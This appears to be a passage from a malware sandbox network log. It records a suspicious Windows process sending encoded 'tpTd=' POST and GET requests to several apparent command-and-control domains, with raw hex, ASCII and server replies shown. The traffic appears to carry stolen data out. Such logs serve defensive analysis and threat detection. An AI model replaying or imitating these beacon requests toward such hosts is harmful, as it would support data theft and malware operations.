Oct 8, 2024 15:33:55.464616060 CEST	770	OUT	POST /sld7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.falconclub.online Origin: http://www.falconclub.online Cache-Control: max-age=0 Content-Length: 217 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.falconclub.online/sld7/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 79 75 32 4c 63 68 76 55 63 45 70 51 7a 6d 46 52 37 2b 43 53 79 38 5a 4e 64 41 78 47 35 36 2b 79 4f 57 51 37 70 46 69 77 48 6f 61 49 61 4c 4f 38 36 74 70 4b 47 33 70 74 4f 49 45 4f 70 34 42 4c 7a 53 52 51 68 4b 64 76 4b 61 68 34 79 68 77 71 31 32 56 56 72 70 58 50 68 50 33 75 32 35 70 6a 64 6c 31 77 30 2f 4d 45 79 77 68 74 31 4b 44 4b 39 71 66 67 65 4c 76 44 71 41 43 6e 4d 71 73 49 6f 38 54 66 4b 41 48 51 65 66 53 46 4a 38 59 6e 68 67 6a 70 31 48 43 6d 39 4e 56 46 43 4d 6d 78 4a 5a 6b 30 41 58 45 71 54 76 67 72 67 4f 72 76 57 6a 49 65 52 66 5a 32 6e 75 74 50 62 61 49 31 4a 4a 38 6c 41 2f 4c 6c 49 67 4e 61 35 79 4b 5a 34 67 3d 3d Data Ascii: tpTd=yu2LchvUcEpQzmFR7+CSy8ZNdAxG56+yOWQ7pFiwHoaIaLO86tpKG3ptOIEOp4BLzSRQhKdvKah4yhwq12VVrpXPhP3u25pjdl1w0/MEywht1KDK9qfgeLvDqACnMqsIo8TfKAHQefSFJ8Ynhgjp1HCm9NVFCMmxJZk0AXEqTvgrgOrvWjIeRfZ2nutPbaI1JJ8lA/LlIgNa5yKZ4g==
Oct 8, 2024 15:33:55.974159956 CEST	580	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Tue, 08 Oct 2024 13:33:55 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 [TRUNCATED] Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	60559	74.208.236.25	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:33:58.003472090 CEST	1783	OUT	POST /sld7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.falconclub.online Origin: http://www.falconclub.online Cache-Control: max-age=0 Content-Length: 1229 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.falconclub.online/sld7/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 79 75 32 4c 63 68 76 55 63 45 70 51 7a 6d 46 52 37 2b 43 53 79 38 5a 4e 64 41 78 47 35 36 2b 79 4f 57 51 37 70 46 69 77 48 6f 53 49 62 34 32 38 37 4f 42 4b 46 33 70 74 56 49 45 4c 70 34 42 53 7a 53 49 59 68 4b 51 51 4b 59 70 34 77 44 6f 71 39 69 35 56 69 70 58 50 2b 66 33 74 72 70 70 4d 64 6c 6c 38 30 2f 63 45 79 77 68 74 31 49 72 4b 2b 37 66 67 59 4c 76 41 70 41 43 37 49 71 74 56 6f 38 4b 69 4b 44 72 71 65 4d 61 46 4d 73 49 6e 67 53 37 70 39 48 43 34 2b 4e 55 59 43 4a 2b 71 4a 5a 34 4a 41 58 59 45 54 76 59 72 6b 59 61 32 41 67 34 65 48 4d 46 6b 6e 39 52 39 5a 4d 73 67 50 64 4d 68 59 71 48 6c 64 67 6f 4d 37 43 62 75 73 58 64 39 57 67 75 45 42 6f 73 2b 45 58 58 47 75 37 36 6e 63 6f 7a 37 2b 4b 44 41 61 50 72 58 59 64 58 74 75 64 45 68 77 72 4b 33 45 67 4f 76 53 6e 64 47 68 54 35 51 31 48 39 35 30 77 44 58 4f 47 58 53 77 2b 68 75 4b 32 56 6c 34 73 77 71 38 64 44 34 58 34 59 4e 43 46 52 37 78 71 50 6c 70 6d 57 55 50 67 67 55 68 47 55 6c 55 35 4b 2b 63 4f 62 4a 56 69 6b 43 55 49 41 47 49 [TRUNCATED] Data Ascii: tpTd=yu2LchvUcEpQzmFR7+CSy8ZNdAxG56+yOWQ7pFiwHoSIb4287OBKF3ptVIELp4BSzSIYhKQQKYp4wDoq9i5VipXP+f3trppMdll80/cEywht1IrK+7fgYLvApAC7IqtVo8KiKDrqeMaFMsIngS7p9HC4+NUYCJ+qJZ4JAXYETvYrkYa2Ag4eHMFkn9R9ZMsgPdMhYqHldgoM7CbusXd9WguEBos+EXXGu76ncoz7+KDAaPrXYdXtudEhwrK3EgOvSndGhT5Q1H950wDXOGXSw+huK2Vl4swq8dD4X4YNCFR7xqPlpmWUPggUhGUlU5K+cObJVikCUIAGIUeO+RyC5htnlaG2Aio/2p0GCfl2Bgx9Ui95MUOpSkyCjtMw5HY3B8ZMzSu9Xay50vPYKg1f+HkgaS9ImNHNvY7gRSHxPFgmZ0PYoE1FceWbdxCbhvx7TgPycj4aXHP3XgKerxqCUagCV1Ri6sCCx0CFsLxVQ+hw471KIOubbh1w1eGJ5WnSD/v22KMWVwyoo2GzCSUmWEn8QmjvMXnRf+6k2TDIJhlug4WBKVVnu22lBwKJJpu3MP0Bc4BAwDBipm73Rk7+mLyckfTEp33tr4d7m8tIlLehXwBnBUyNBDzAuQWVsj04R+Ip8jgs0vUdSUrD434DR7wM0KMTdEdRhEZNbGfMTZcj/mw49HRoekD67jvPDsu23d/KIa/4o+1byPPeui6/FhVeOeFPTpkWDVx04wI32YyW4RxX9skfJUAMhdsePEwL7i27QxS2qavDvplF95dECHBUn75xJPYKvLEodRKm/uZnQPxn7wJu+7NFo7/e6I326FFG/z/0tCC4dIikJ57NV8lfhRd9LzepbQwDTEcI1LRk9o/JZaFCbL64g3Lqx+qtp/nfuM7TPXZ4UDmNvmTmj9O5B72Jc2g9ILeb8akBwNlEOHnG3JvdLfb6rNpX4k4NJygZRbtb+SOxsMzFO29fCWxJj2k39bAMgBX6FHt6lIXmM5G [TRUNCATED]
Oct 8, 2024 15:33:58.518306971 CEST	580	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Tue, 08 Oct 2024 13:33:58 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 [TRUNCATED] Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	60575	74.208.236.25	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:34:00.898246050 CEST	478	OUT	GET /sld7/?tpTd=/serfU6kaxhlkkJx8dOr0qlSRXA+6La0KEB68G6jbYfyT6z2zvVJBFhkOYA104kn6FRHm7lAc7gn2TRu9DlziYvx9tC/5P1WJl131MkdoxRdpo/lsw==&WX=rnWllP5PLlhLLtj HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.falconclub.online Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Oct 8, 2024 15:34:01.419403076 CEST	770	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 626 Connection: close Date: Tue, 08 Oct 2024 13:34:01 GMT Server: Apache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Your browser can't find the document corresponding to the URL you typed in. </p> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	60611	3.33.130.190	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:34:06.474298000 CEST	743	OUT	POST /abrg/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.promasterev.shop Origin: http://www.promasterev.shop Cache-Control: max-age=0 Content-Length: 193 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.promasterev.shop/abrg/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 4c 6c 6f 70 6c 55 78 78 4b 78 65 58 38 6e 36 55 75 30 35 55 6a 71 6c 37 62 6e 44 52 5a 51 62 4c 6e 33 4e 43 33 2f 35 65 47 64 43 32 6f 44 4b 4b 48 46 4b 45 79 70 6d 72 56 61 39 69 39 61 79 66 42 61 4b 4a 2f 66 71 37 69 56 35 71 55 4e 79 6b 33 4b 4f 4f 47 35 6a 6c 73 4a 74 4f 48 63 50 55 64 4b 78 65 78 47 6c 67 48 4d 38 43 6d 66 55 47 78 79 47 36 65 44 34 4d 46 4c 65 72 61 72 66 44 63 51 4d 47 72 57 72 43 69 67 38 48 4b 67 34 78 4d 73 52 70 45 63 36 63 66 70 32 33 55 30 76 6b 75 31 51 66 4b 6e 64 69 55 66 64 33 55 57 30 35 50 4f 68 46 74 4b 6c 66 51 34 31 6b Data Ascii: tpTd=LloplUxxKxeX8n6Uu05Ujql7bnDRZQbLn3NC3/5eGdC2oDKKHFKEypmrVa9i9ayfBaKJ/fq7iV5qUNyk3KOOG5jlsJtOHcPUdKxexGlgHM8CmfUGxyG6eD4MFLerarfDcQMGrWrCig8HKg4xMsRpEc6cfp23U0vku1QfKndiUfd3UW05POhFtKlfQ41k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	60627	3.33.130.190	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:34:09.021058083 CEST	767	OUT	POST /abrg/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.promasterev.shop Origin: http://www.promasterev.shop Cache-Control: max-age=0 Content-Length: 217 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.promasterev.shop/abrg/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 4c 6c 6f 70 6c 55 78 78 4b 78 65 58 38 48 71 55 76 54 74 55 6c 4b 6c 38 58 48 44 52 51 77 62 48 6e 33 4a 43 33 2b 39 4f 47 6f 71 32 6f 68 53 4b 56 30 4b 45 78 70 6d 72 62 36 39 72 35 61 79 75 42 61 32 42 2f 64 4f 37 69 57 46 71 55 4d 43 6b 33 37 4f 4e 48 70 6a 6e 68 70 74 41 61 73 50 55 64 4b 78 65 78 47 42 4f 48 4d 6b 43 6d 76 45 47 79 51 2b 39 55 6a 34 4e 41 4c 65 72 51 4c 65 72 63 51 4d 30 72 55 66 34 69 6a 55 48 4b 67 6f 78 4e 2b 70 6f 4e 63 36 53 52 4a 33 39 46 46 79 4b 72 6e 73 2b 55 33 42 55 4d 4f 31 6c 58 33 55 6e 65 38 6f 65 34 64 6c 34 58 66 38 4d 4c 7a 51 33 55 45 4d 42 59 46 39 65 6d 53 79 7a 6e 74 2b 71 7a 67 3d 3d Data Ascii: tpTd=LloplUxxKxeX8HqUvTtUlKl8XHDRQwbHn3JC3+9OGoq2ohSKV0KExpmrb69r5ayuBa2B/dO7iWFqUMCk37ONHpjnhptAasPUdKxexGBOHMkCmvEGyQ+9Uj4NALerQLercQM0rUf4ijUHKgoxN+poNc6SRJ39FFyKrns+U3BUMO1lX3Une8oe4dl4Xf8MLzQ3UEMBYF9emSyznt+qzg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	60641	3.33.130.190	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:34:11.565047026 CEST	1780	OUT	POST /abrg/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.promasterev.shop Origin: http://www.promasterev.shop Cache-Control: max-age=0 Content-Length: 1229 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.promasterev.shop/abrg/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 4c 6c 6f 70 6c 55 78 78 4b 78 65 58 38 48 71 55 76 54 74 55 6c 4b 6c 38 58 48 44 52 51 77 62 48 6e 33 4a 43 33 2b 39 4f 47 75 79 32 6f 51 79 4b 45 6e 79 45 77 70 6d 72 54 61 39 6d 35 61 79 7a 42 65 61 46 2f 64 43 42 69 51 42 71 55 75 4b 6b 2b 76 69 4e 4a 70 6a 6e 6f 4a 74 4e 48 63 50 37 64 4b 67 58 78 47 52 4f 48 4d 6b 43 6d 71 41 47 6c 53 47 39 62 44 34 4d 46 4c 65 76 61 72 65 51 63 57 6c 42 72 55 62 6f 69 53 30 48 4a 42 59 78 50 4e 52 6f 4d 38 36 51 63 70 32 6f 46 46 2b 4a 72 6e 77 45 55 30 63 63 4d 4a 5a 6c 48 78 51 35 47 4f 6b 49 6d 72 31 58 51 50 35 6c 46 31 77 32 59 6c 46 63 5a 6d 39 6f 39 69 7a 41 69 4f 72 38 76 75 33 50 63 73 75 37 45 5a 2b 54 79 55 58 73 4b 66 2b 70 6b 78 76 72 44 63 65 78 61 56 52 61 6c 54 58 6d 68 46 58 67 48 30 74 6f 35 6c 70 6c 78 47 6a 61 35 2b 7a 4d 52 4b 37 30 64 69 4d 51 70 31 49 74 30 4d 68 69 46 6c 45 6d 64 55 75 72 56 72 32 6d 53 68 65 2b 75 4f 7a 78 47 66 44 37 37 4c 72 65 6c 57 2b 4e 79 46 62 31 73 42 31 75 31 33 58 44 64 47 52 76 50 77 76 6e 73 [TRUNCATED] Data Ascii: tpTd=LloplUxxKxeX8HqUvTtUlKl8XHDRQwbHn3JC3+9OGuy2oQyKEnyEwpmrTa9m5ayzBeaF/dCBiQBqUuKk+viNJpjnoJtNHcP7dKgXxGROHMkCmqAGlSG9bD4MFLevareQcWlBrUboiS0HJBYxPNRoM86Qcp2oFF+JrnwEU0ccMJZlHxQ5GOkImr1XQP5lF1w2YlFcZm9o9izAiOr8vu3Pcsu7EZ+TyUXsKf+pkxvrDcexaVRalTXmhFXgH0to5lplxGja5+zMRK70diMQp1It0MhiFlEmdUurVr2mShe+uOzxGfD77LrelW+NyFb1sB1u13XDdGRvPwvns9HDdClK9ekXCnPkne3Zvo8qh4MgXezQTVbqdfutNRcpOLVM0HPC3+eE+3XN2PzLCRa8EHfWkjlMOdw+mPYNSk8+Y4/JXZYeTpj9qmsqLvDX3nygzPMYE/nJL6/Ys9k6Xk7iexwVXyHNsYLlkWF7fEcMICx5Hmgm3RMGi4yoq9TUD9CZT3AlDRNUMPDpRdGfadavoiFDyrFot5TJ/xwvOLaH65aCZ4YStXZI9phQJIjSzNoqOPfNfbTSHz0AMxNG2EspurbTEQyZaN9hjTxlsNmFolAAzXd1cRFIxvZ2hr9guVbuF6Ncwo4y+VDHE0I46RrEhY5S8JL3z8pFVhR/qqUKNN54RrF8YRSVaxWayUU+11qVJml/j4MiNSbI/rKOmvilPJzIhJNTMKUNJT1ziVlkxA9RXhQ8AiHDB+MPw08iiYjPPsC6MFpzGLJ3d4Uw8Na8MuoQmaufzGQIv1laDBjB28QTc7ctw779kHmR4SCfnX8DuyAptnu1QACHzAc7rIcIq1fEoddlwChEHVN8PjOn+KchPqXiZNMvX/J4AGCIauytHDX1kV6pe4k8X0jYBicWLPKGv2JOAoyN14Au95EOUafwjyyuT7/k1RE8FlbjeogEYYK6HmPlW+cW1fR6kk7hpmzdsZvgZ3fuld8zu2uUSQs3Q1fXKs3 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	60657	3.33.130.190	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:34:14.109869957 CEST	477	OUT	GET /abrg/?WX=rnWllP5PLlhLLtj&tpTd=GnAJmiRPPiyH2TmfuBVnsZoXdGf0FUPFySgQhtVOM4GwnDq9Dnvh9ePCWYtJxLLAU+yG0d2c2V85YMiF3u+CH4Whw+Z8K8Lme5ABmnpnJdsWz6g8ww== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.promasterev.shop Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Oct 8, 2024 15:34:14.561187983 CEST	395	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 08 Oct 2024 13:34:14 GMT Content-Type: text/html Content-Length: 255 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 57 58 3d 72 6e 57 6c 6c 50 35 50 4c 6c 68 4c 4c 74 6a 26 74 70 54 64 3d 47 6e 41 4a 6d 69 52 50 50 69 79 48 32 54 6d 66 75 42 56 6e 73 5a 6f 58 64 47 66 30 46 55 50 46 79 53 67 51 68 74 56 4f 4d 34 47 77 6e 44 71 39 44 6e 76 68 39 65 50 43 57 59 74 4a 78 4c 4c 41 55 2b 79 47 30 64 32 63 32 56 38 35 59 4d 69 46 33 75 2b 43 48 34 57 68 77 2b 5a 38 4b 38 4c 6d 65 35 41 42 6d 6e 70 6e 4a 64 73 57 7a 36 67 38 77 77 3d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?WX=rnWllP5PLlhLLtj&tpTd=GnAJmiRPPiyH2TmfuBVnsZoXdGf0FUPFySgQhtVOM4GwnDq9Dnvh9ePCWYtJxLLAU+yG0d2c2V85YMiF3u+CH4Whw+Z8K8Lme5ABmnpnJdsWz6g8ww=="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	60679	3.33.130.190	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:34:19.625890017 CEST	761	OUT	POST /itly/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.childlesscatlady.today Origin: http://www.childlesscatlady.today Cache-Control: max-age=0 Content-Length: 193 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.childlesscatlady.today/itly/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 67 75 36 68 65 37 78 4b 79 2f 6f 4c 66 64 72 32 52 72 59 46 6c 44 50 70 4e 79 4d 42 65 72 46 71 78 4a 37 63 4d 54 73 71 58 65 7a 61 2b 6c 41 41 46 6f 68 67 4b 45 59 63 58 56 2f 61 50 33 4b 51 50 39 68 6d 33 68 6b 31 61 64 64 4f 30 50 68 6e 52 31 59 4b 57 57 39 52 57 34 36 46 32 48 46 31 38 76 53 62 64 72 37 56 67 2b 42 43 4f 6c 73 69 74 76 4c 63 2b 59 48 41 4e 4b 78 41 34 74 31 48 6f 56 6c 78 59 36 35 32 73 6d 53 5a 4c 45 51 76 69 53 42 6e 67 70 36 67 42 65 4e 66 6e 61 75 4b 44 72 68 67 6a 69 2f 38 6c 30 46 58 42 44 56 63 32 79 70 4c 6d 58 51 44 46 46 4a 64 Data Ascii: tpTd=gu6he7xKy/oLfdr2RrYFlDPpNyMBerFqxJ7cMTsqXeza+lAAFohgKEYcXV/aP3KQP9hm3hk1addO0PhnR1YKWW9RW46F2HF18vSbdr7Vg+BCOlsitvLc+YHANKxA4t1HoVlxY652smSZLEQviSBngp6gBeNfnauKDrhgji/8l0FXBDVc2ypLmXQDFFJd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	60698	3.33.130.190	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:34:22.176304102 CEST	785	OUT	POST /itly/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.childlesscatlady.today Origin: http://www.childlesscatlady.today Cache-Control: max-age=0 Content-Length: 217 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.childlesscatlady.today/itly/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 67 75 36 68 65 37 78 4b 79 2f 6f 4c 66 38 62 32 51 4d 6b 46 6e 6a 50 75 44 53 4d 42 58 4c 46 75 78 4a 48 63 4d 52 41 36 58 73 6e 61 77 67 38 41 45 72 35 67 4c 45 59 63 59 31 2f 62 46 58 4c 53 50 39 64 55 33 6a 77 31 61 64 5a 4f 30 4c 6c 6e 52 47 77 4a 45 57 39 54 44 49 36 48 79 48 46 31 38 76 53 62 64 6f 47 36 67 2b 70 43 4f 56 38 69 69 75 4c 66 68 6f 48 50 46 71 78 41 75 74 31 44 6f 56 6c 66 59 2b 35 49 73 6a 57 5a 4c 46 41 76 69 44 42 67 72 70 36 6d 63 75 4d 52 68 37 66 61 4b 35 78 66 69 53 6e 61 7a 58 52 38 43 69 31 43 6e 41 67 51 7a 41 51 6b 43 69 41 31 73 38 63 42 56 31 78 66 78 30 65 4c 36 56 64 78 34 